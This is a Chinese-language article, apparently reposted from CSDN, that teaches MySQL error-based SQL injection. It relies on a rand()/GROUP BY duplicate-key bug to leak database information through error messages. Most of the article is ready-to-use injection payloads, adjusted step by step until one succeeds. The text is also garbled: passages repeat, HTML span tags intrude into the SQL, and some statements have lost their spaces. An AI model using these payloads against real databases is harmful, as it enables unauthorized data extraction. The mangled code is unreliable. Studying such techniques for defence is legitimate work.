網站MYSQL數據庫高級爆錯注入原分析
發(fā)布日期:2021-12-21 00:24 | 文章來源:CSDN
這里主要用了mysql的一個BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.
重現(xiàn)過程:
select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
1248 (42000): Every derived table must have its own alias
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
grouping on certain parts of the result from rand, causes a duplicate key error.
重現(xiàn)過程:
SQL Code復制內容到剪貼板
- usemysql;
- createtabler1(aint);insertintor1values(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
- selectleft(rand(),3),afromr1groupby1;
- selectleft(rand(),3),a,count(*)fromr1groupby1;
- selectround(rand(1),1),a,count(*)fromr1groupby1;
于是便可以這樣拿來爆錯注入了。
復制代碼
代碼如下:select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
嘗試拿來實戰(zhàn)
復制代碼
代碼如下:select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示錯誤 選擇的列應該為一個。那么。我們換一下
復制代碼
代碼如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
復制代碼
代碼如下:1248 (42000): Every derived table must have its own alias
提示多表查詢要有別名 那好辦
復制代碼
代碼如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
復制代碼
代碼如下:select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.
作者: 小殘 繩命不息 |折騰不止
版權聲明:本站文章來源標注為YINGSOO的內容版權均為本站所有,歡迎引用、轉載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網站,禁止在非maisonbaluchon.cn所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內容來源于網友推薦、互聯(lián)網收集整理而來,僅供學習參考,不代表本站立場,如有內容涉嫌侵權,請聯(lián)系alex-e#qq.com處理。
相關文章
上一篇:
介紹初級黑客常用兵器(圖)
下一篇:
關注官方微信